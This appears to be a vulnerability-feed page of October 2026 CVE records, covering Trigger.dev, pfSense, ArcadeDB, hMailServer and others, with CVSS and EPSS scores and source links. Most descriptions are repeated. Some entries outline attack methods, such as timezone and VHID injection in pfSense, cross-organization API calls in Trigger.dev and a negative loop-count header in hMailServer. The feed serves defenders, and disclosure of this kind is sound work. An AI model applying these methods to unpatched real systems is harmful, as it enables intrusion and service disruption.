Trigger.dev before 4.5.6 contains an authorization bypass vulnerability in DeleteTaskScheduleService and SetActiveOnTaskScheduleService that allows authenticated users to delete... (Oct 21, 2026).
Trigger.dev before 4.5.6 contains an authorization bypass vulnerability in DeleteTaskScheduleService and SetActiveOnTaskScheduleService that allows authenticated users to delete or disable other organizations' schedules. Attackers can send delete or disable actions through their own project's schedule route with a victim schedule friendlyId to destroy other organizations' IMPERATIVE cron schedules.
CVSS 7.2 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114078).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114078&date=2026-10-25).
Sources:
NVD CVE-2026-114078: https://nvd.nist.gov/vuln/detail/CVE-2026-114078
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114078&date=2026-10-25
Trigger.dev before 4.5.6 contains an authorization bypass vulnerability in DeleteTaskScheduleService and SetActiveOnTaskScheduleService that allows authenticated users to delete or disable other organizations' schedules. Attackers can send delete or disable actions through their own project's schedule route with a victim schedule friendlyId to destroy other organizations' IMPERATIVE cron schedules.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trigger.dev before 4.6.0 contains an improper authorization vulnerability in the GET /api/v1/projects/:projectRef/envvars endpoint, which returns the environment's root API key as...
https://kevwire.com/record/CVE-2026-114069
Trigger.dev before 4.6.0 contains an improper authorization vulnerability in the GET /api/v1/projects/:projectRef/envvars endpoint, which returns the environment's root API key as... (Oct 21, 2026).
Trigger.dev before 4.6.0 contains an improper authorization vulnerability in the GET /api/v1/projects/:projectRef/envvars endpoint, which returns the environment's root API key as TRIGGER_SECRET_KEY for staging, production, and preview environments. Attackers holding a restricted read:envvars key can obtain the root secret and plaintext secrets, then trigger tasks and mint admin public JWTs.
CVSS 8.6 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114069).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114069&date=2026-10-25).
Sources:
NVD CVE-2026-114069: https://nvd.nist.gov/vuln/detail/CVE-2026-114069
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114069&date=2026-10-25
Trigger.dev before 4.6.0 contains an improper authorization vulnerability in the GET /api/v1/projects/:projectRef/envvars endpoint, which returns the environment's root API key as TRIGGER_SECRET_KEY for staging, production, and preview environments. Attackers holding a restricted read:envvars key can obtain the root secret and plaintext secrets, then trigger tasks and mint admin public JWTs.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trigger.dev before 4.6.0 contains a missing authorization vulnerability in the waitpoint token wait endpoint that allows authenticated attackers to block runs belonging to other...
https://kevwire.com/record/CVE-2026-114068
Trigger.dev before 4.6.0 contains a missing authorization vulnerability in the waitpoint token wait endpoint that allows authenticated attackers to block runs belonging to other... (Oct 21, 2026).
Trigger.dev before 4.6.0 contains a missing authorization vulnerability in the waitpoint token wait endpoint that allows authenticated attackers to block runs belonging to other organizations. Attackers holding any secret API key can supply a victim run ID with their own waitpoint, causing that run to block indefinitely on a waitpoint the victim cannot complete, and can inject resume data into it.
CVSS 7.2 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114068).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114068&date=2026-10-25).
Sources:
NVD CVE-2026-114068: https://nvd.nist.gov/vuln/detail/CVE-2026-114068
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114068&date=2026-10-25
Trigger.dev before 4.6.0 contains a missing authorization vulnerability in the waitpoint token wait endpoint that allows authenticated attackers to block runs belonging to other organizations. Attackers holding any secret API key can supply a victim run ID with their own waitpoint, causing that run to block indefinitely on a waitpoint the victim cannot complete, and can inject resume data into it.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Trigger.dev before 4.7.0 contains a missing authorization vulnerability that allows holders of unrestricted environment API keys to block runs they do not own by supplying a...
https://kevwire.com/record/CVE-2026-114066
Trigger.dev before 4.7.0 contains a missing authorization vulnerability that allows holders of unrestricted environment API keys to block runs they do not own by supplying a... (Oct 21, 2026).
Trigger.dev before 4.7.0 contains a missing authorization vulnerability that allows holders of unrestricted environment API keys to block runs they do not own by supplying a foreign parentRunId to batch-creation endpoints. Attackers can send requests to POST /api/v3/batches or POST /api/v2/tasks/batch with resumeParentOnCompletion to suspend, indefinitely block, or inject errors into production or cross-organization runs.
CVSS 7.2 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114066).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114066&date=2026-10-25).
Sources:
NVD CVE-2026-114066: https://nvd.nist.gov/vuln/detail/CVE-2026-114066
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114066&date=2026-10-25
Trigger.dev before 4.7.0 contains a missing authorization vulnerability that allows holders of unrestricted environment API keys to block runs they do not own by supplying a foreign parentRunId to batch-creation endpoints. Attackers can send requests to POST /api/v3/batches or POST /api/v2/tasks/batch with resumeParentOnCompletion to suspend, indefinitely block, or inject errors into production or cross-organization runs.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ArcadeDB before 26.10.1 contains a remote code execution vulnerability that allows authenticated users, including read-only reader role holders, to execute Groovy code because...
https://kevwire.com/record/CVE-2026-114059
ArcadeDB before 26.10.1 contains a remote code execution vulnerability that allows authenticated users, including read-only reader role holders, to execute Groovy code because... (Oct 21, 2026).
ArcadeDB before 26.10.1 contains a remote code execution vulnerability that allows authenticated users, including read-only reader role holders, to execute Groovy code because GremlinQueryEngine.command() lacks scripting authorization checks. Attackers can submit Gremlin commands to the POST /api/v1/command/{database} endpoint when the Groovy engine is enabled to run OS commands as the server process user.
CVSS 7.7 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114059).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114059&date=2026-10-25).
Sources:
NVD CVE-2026-114059: https://nvd.nist.gov/vuln/detail/CVE-2026-114059
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114059&date=2026-10-25
ArcadeDB before 26.10.1 contains a remote code execution vulnerability that allows authenticated users, including read-only reader role holders, to execute Groovy code because GremlinQueryEngine.command() lacks scripting authorization checks. Attackers can submit Gremlin commands to the POST /api/v1/command/{database} endpoint when the Groovy engine is enabled to run OS commands as the server process user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netgate pfSense CE through 2.9.0 contains a php.ini injection vulnerability that allows authenticated users with General Setup privileges to inject directives by submitting an...
https://kevwire.com/record/CVE-2026-111222
Netgate pfSense CE through 2.9.0 contains a php.ini injection vulnerability that allows authenticated users with General Setup privileges to inject directives by submitting an... (Oct 15, 2026).
Netgate pfSense CE through 2.9.0 contains a php.ini injection vulnerability that allows authenticated users with General Setup privileges to inject directives by submitting an unvalidated timezone value. Attackers can embed a quote and newline to add auto_prepend_file pointing at /var/db/zoneinfo, executing PHP as root after php.ini is regenerated at boot or php-fpm restart.
CVSS 7.5 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111222).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111222&date=2026-10-25).
Sources:
NVD CVE-2026-111222: https://nvd.nist.gov/vuln/detail/CVE-2026-111222
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111222&date=2026-10-25
Netgate pfSense CE through 2.9.0 contains a php.ini injection vulnerability that allows authenticated users with General Setup privileges to inject directives by submitting an unvalidated timezone value. Attackers can embed a quote and newline to add auto_prepend_file pointing at /var/db/zoneinfo, executing PHP as root after php.ini is regenerated at boot or php-fpm restart.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with Virtual IP edit privileges to execute commands as root by...
https://kevwire.com/record/CVE-2026-111217
Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with Virtual IP edit privileges to execute commands as root by... (Oct 15, 2026).
Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with Virtual IP edit privileges to execute commands as root by storing an unvalidated CARP VHID. Attackers can supply a VHID containing shell metacharacters that executes via interface_ipalias_configure() ifconfig calls or get_carp_interface_status() when CARP status is rendered.
CVSS 8.6 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111217).
EPSS 7.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111217&date=2026-10-25).
Sources:
NVD CVE-2026-111217: https://nvd.nist.gov/vuln/detail/CVE-2026-111217
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111217&date=2026-10-25
Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with Virtual IP edit privileges to execute commands as root by storing an unvalidated CARP VHID. Attackers can supply a VHID containing shell metacharacters that executes via interface_ipalias_configure() ifconfig calls or get_carp_interface_status() when CARP status is rendered.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### HtmlUnit Neko is an HtmlUnit adaptation of NekoHTML.
https://kevwire.com/record/CVE-2026-104828
HtmlUnit Neko is an HtmlUnit adaptation of NekoHTML. (Oct 15, 2026).
HtmlUnit Neko is an HtmlUnit adaptation of NekoHTML. Prior to 5.4.0, HTMLWriterFilter writes decoded TEXTAREA and TITLE character content without entity encoding because both elements are treated as special content. During a parse-and-serialize round trip, entity references inside these escapable raw-text elements are decoded by the parser and then emitted as raw markup by printCharacters(), changing the document's semantics. Applications that use htmlunit-neko in an HTML sanitizer, content filter, or other parse-transform-serialize pipeline can therefore turn attacker-controlled encoded text into executable markup when the output is rendered by a browser. This issue is fixed in version 5.4.0.
CVSS 7.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104828).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104828&date=2026-10-25).
Sources:
NVD CVE-2026-104828: https://nvd.nist.gov/vuln/detail/CVE-2026-104828
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104828&date=2026-10-25
HtmlUnit Neko is an HtmlUnit adaptation of NekoHTML. Prior to 5.4.0, HTMLWriterFilter writes decoded TEXTAREA and TITLE character content without entity encoding because both elements are treated as special content. During a parse-and-serialize round trip, entity references inside these escapable raw-text elements are decoded by the parser and then emitted as raw markup by printCharacters(), changing the document's semantics. Applications that use htmlunit-neko in an HTML sanitizer, content filter, or other parse-transform-serialize pipeline can therefore turn attacker-controlled encoded text into executable markup when the output is rendered by a browser. This issue is fixed in version 5.4.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-69943
Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69943).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69943&date=2026-10-25).
Sources:
NVD CVE-2026-69943: https://nvd.nist.gov/vuln/detail/CVE-2026-69943
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69943
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69943&date=2026-10-25
Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the kmd component of Juniper Networks Junos OS on MX Series allows an unauthenticated network attacker to execute code as root via...
https://kevwire.com/record/CVE-2026-102182
A Stack-based Buffer Overflow vulnerability in the kmd component of Juniper Networks Junos OS on MX Series allows an unauthenticated network attacker to execute code as root via... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the kmd component of Juniper Networks Junos OS on MX Series allows an unauthenticated network attacker to execute code as root via specific IKE certificate-based packets.

This issue requires IKE to be enabled with an RSA-signature IKE policy to be vulnerable.

This issue affects Junos OS on MX Series:


  *  All versions before 21.2R3-S11;
  *  from 21.4 before 21.4R3-S12;
  *  from 22.2 before 22.2R3-S8;
  *  from 22.3 before 22.3R3-S5;
  *  from 22.4 before 22.4R3-S9;
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102182).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102182&date=2026-10-25).
Sources:
NVD CVE-2026-102182: https://nvd.nist.gov/vuln/detail/CVE-2026-102182
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102182&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the kmd component of Juniper Networks Junos OS on MX Series allows an unauthenticated network attacker to execute code as root via specific IKE certificate-based packets.

This issue requires IKE to be enabled with an RSA-signature IKE policy to be vulnerable.

This issue affects Junos OS on MX Series:


  *  All versions before 21.2R3-S11;
  *  from 21.4 before 21.4R3-S12;
  *  from 22.2 before 22.2R3-S8;
  *  from 22.3 before 22.3R3-S5;
  *  from 22.4 before 22.4R3-S9;

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP 3.0.0-beta1 before 3.32.0, when built with verbose WinPR assertions and using smartcard emulation, has a reachable assertion: the emulated SCardStatusA passes a NULL...
https://kevwire.com/record/CVE-2026-109678
FreeRDP 3.0.0-beta1 before 3.32.0, when built with verbose WinPR assertions and using smartcard emulation, has a reachable assertion: the emulated SCardStatusA passes a NULL... (Oct 13, 2026).
FreeRDP 3.0.0-beta1 before 3.32.0, when built with verbose WinPR assertions and using smartcard emulation, has a reachable assertion: the emulated SCardStatusA passes a NULL reader-name destination to scard_copy_strings. A malicious RDP server can send an SCardStatusA request with fmszReaderNamesIsNULL=1 to abort a connecting client.
CVSS 7.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109678).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109678&date=2026-10-25).
Sources:
NVD CVE-2026-109678: https://nvd.nist.gov/vuln/detail/CVE-2026-109678
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-996j-34w6-5hgm
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109678&date=2026-10-25
FreeRDP 3.0.0-beta1 before 3.32.0, when built with verbose WinPR assertions and using smartcard emulation, has a reachable assertion: the emulated SCardStatusA passes a NULL reader-name destination to scard_copy_strings. A malicious RDP server can send an SCardStatusA request with fmszReaderNamesIsNULL=1 to abort a connecting client.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Hidden functionality issue exists in Multiple DVRs (Digital Video Recorders) provided by Atsumi Electric Co., Ltd.
https://kevwire.com/record/CVE-2026-97627
Hidden functionality issue exists in Multiple DVRs (Digital Video Recorders) provided by Atsumi Electric Co., Ltd. (Oct 20, 2026).
Hidden functionality issue exists in Multiple DVRs (Digital Video Recorders) provided by Atsumi Electric Co., Ltd. A user who can log in to the product with the administrator privilege may execute arbitrary OS commands.
CVSS 8.6 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97627).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97627&date=2026-10-25).
Sources:
NVD CVE-2026-97627: https://nvd.nist.gov/vuln/detail/CVE-2026-97627
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97627&date=2026-10-25
Hidden functionality issue exists in Multiple DVRs (Digital Video Recorders) provided by Atsumi Electric Co., Ltd. A user who can log in to the product with the administrator privilege may execute arbitrary OS commands.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in Apache Johnzon.
https://kevwire.com/record/CVE-2026-71253
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in Apache Johnzon. (Oct 19, 2026).
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in Apache Johnzon.



ClassConverter loads & static-initializes an attacker-named class from untrusted JSON.




This issue affects Apache Johnzon: from 1.0.0 before 2.2.0.



Users are recommended to upgrade to version 1.3.1 (javax namespace) or 2.2.0 (jakarta specification namespace), which fixes the issue.
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-71253).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-71253&date=2026-10-25).
Sources:
NVD CVE-2026-71253: https://nvd.nist.gov/vuln/detail/CVE-2026-71253
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-71253&date=2026-10-25
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in Apache Johnzon.



ClassConverter loads & static-initializes an attacker-named class from untrusted JSON.




This issue affects Apache Johnzon: from 1.0.0 before 2.2.0.



Users are recommended to upgrade to version 1.3.1 (javax namespace) or 2.2.0 (jakarta specification namespace), which fixes the issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer Copy without Checking Size of Input in certain ASUS router models allows an adjacent authenticated user to corrupt device operations and cause a denial of service via an...
https://kevwire.com/record/CVE-2026-17518
Buffer Copy without Checking Size of Input in certain ASUS router models allows an adjacent authenticated user to corrupt device operations and cause a denial of service via an... (Oct 20, 2026).
Buffer Copy without Checking Size of Input in certain ASUS router models allows an adjacent authenticated user to corrupt device operations and cause a denial of service via an HTTP request with input exceeding the expected length.
Refer to the ' Security Update for ASUS Router Firmware' section on the ASUS Security Advisory for more information.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-17518).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-17518&date=2026-10-25).
Sources:
NVD CVE-2026-17518: https://nvd.nist.gov/vuln/detail/CVE-2026-17518
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-17518&date=2026-10-25
Buffer Copy without Checking Size of Input in certain ASUS router models allows an adjacent authenticated user to corrupt device operations and cause a denial of service via an HTTP request with input exceeding the expected length.
Refer to the ' Security Update for ASUS Router Firmware' section on the ASUS Security Advisory for more information.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An uncontrolled recursion weakness in the BSON decoding logic of the MongoDB PHP driver may allow an unauthenticated party who can supply crafted binary document data to the...
https://kevwire.com/record/CVE-2026-112368
An uncontrolled recursion weakness in the BSON decoding logic of the MongoDB PHP driver may allow an unauthenticated party who can supply crafted binary document data to the... (Oct 19, 2026).
An uncontrolled recursion weakness in the BSON decoding logic of the MongoDB PHP driver may allow an unauthenticated party who can supply crafted binary document data to the decoder to exhaust the process stack. This may cause the PHP process using the driver to terminate unexpectedly, resulting in a loss of availability for that process. The condition occurs below the PHP layer and cannot be intercepted by application-level error handling.
CVSS 8.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112368).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112368&date=2026-10-25).
Sources:
NVD CVE-2026-112368: https://nvd.nist.gov/vuln/detail/CVE-2026-112368
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112368&date=2026-10-25
An uncontrolled recursion weakness in the BSON decoding logic of the MongoDB PHP driver may allow an unauthenticated party who can supply crafted binary document data to the decoder to exhaust the process stack. This may cause the PHP process using the driver to terminate unexpectedly, resulting in a loss of availability for that process. The condition occurs below the PHP layer and cannot be intercepted by application-level error handling.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect default permissions in the Windows installer of Progressive Robot hMailServer 6.0.0 through 6.3.6 allow a local authenticated user to run code as the mail server's...
https://kevwire.com/record/CVE-2026-107571
Incorrect default permissions in the Windows installer of Progressive Robot hMailServer 6.0.0 through 6.3.6 allow a local authenticated user to run code as the mail server's... (Oct 19, 2026).
Incorrect default permissions in the Windows installer of Progressive Robot hMailServer 6.0.0 through 6.3.6 allow a local authenticated user to run code as the mail server's high-privileged accounts when the product is installed in a folder whose permissions are inherited from a writable parent, such as the root of a drive. The installer places the server's programs in the Bin folder of the program folder and gives neither the program folder nor Bin any permissions of their own, so they inherit the parent's. Under the default location, Program Files, ordinary users receive only read and execute and the configuration is not affected; but the installer accepts any path without warning, and a program folder at the root of an NTFS volume inherits write access for a broad group - Authenticated Users (Modify) on a Windows client, Users (create files and folders) on Windows Server. A local user without administrator rights can then alter or replace the service program, which runs as LocalSystem or as the service's virtual account, or the programs an administrator runs elevated from Bin during setup and maintenance, or place a library in Bin that those programs load in place of the system copy, gaining code execution with those privileges. The default Program Files installation is not affected.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107571).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107571&date=2026-10-25).
Sources:
NVD CVE-2026-107571: https://nvd.nist.gov/vuln/detail/CVE-2026-107571
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107571&date=2026-10-25
Incorrect default permissions in the Windows installer of Progressive Robot hMailServer 6.0.0 through 6.3.6 allow a local authenticated user to run code as the mail server's high-privileged accounts when the product is installed in a folder whose permissions are inherited from a writable parent, such as the root of a drive. The installer places the server's programs in the Bin folder of the program folder and gives neither the program folder nor Bin any permissions of their own, so they inherit the parent's. Under the default location, Program Files, ordinary users receive only read and execute and the configuration is not affected; but the installer accepts any path without warning, and a program folder at the root of an NTFS volume inherits write access for a broad group - Authenticated Users (Modify) on a Windows client, Users (create files and folders) on Windows Server. A local user without administrator rights can then alter or replace the service program, which runs as LocalSystem or as the service's virtual account, or the programs an administrator runs elevated from Bin during setup and maintenance, or place a library in Bin that those programs load in place of the system copy, gaining code execution with those privileges. The default Program Files installation is not affected.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Unchecked input for a loop condition in Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote unauthenticated attacker to stop the server carrying mail.
https://kevwire.com/record/CVE-2026-107569
Unchecked input for a loop condition in Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote unauthenticated attacker to stop the server carrying mail. (Oct 19, 2026).
Unchecked input for a loop condition in Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote unauthenticated attacker to stop the server carrying mail. The server bounds the mail it generates in response to a message - a rule forward, reply or copy, an account forward, a Sieve redirect, vacation or notify, a bounce, an out-of-office reply - by a counter it carries in the message's X-hMailServer-LoopCount header, and makes no more once the counter reaches the configured rule loop limit (5 by default); that is what ends a forwarding or auto-reply cycle in a bounded number of hops. X-hMailServer-LoopCount is an ordinary header that is not stripped from mail arriving from outside, and the server read it with a signed conversion and no validation, so a count below zero passed every test against the limit: a sender who sets X-hMailServer-LoopCount to a negative value, or on the Linux builds to a value above the 32-bit signed range that the conversion wraps to a negative one, lifts the bound, and a message that enters a generated-mail cycle then loops up to about two thousand million times, each hop a queued message and a delivery, filling the queue and disk and stopping mail service. The Sieve notify action (from 6.2.22) consulted no limit at all, and its increment of the count could overflow a signed integer; and an account could reset the counter on its own mail through a Sieve editheader of the header (from 6.2.22) or a rule Set header value action (all versions) ahead of a forward or redirect.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107569).
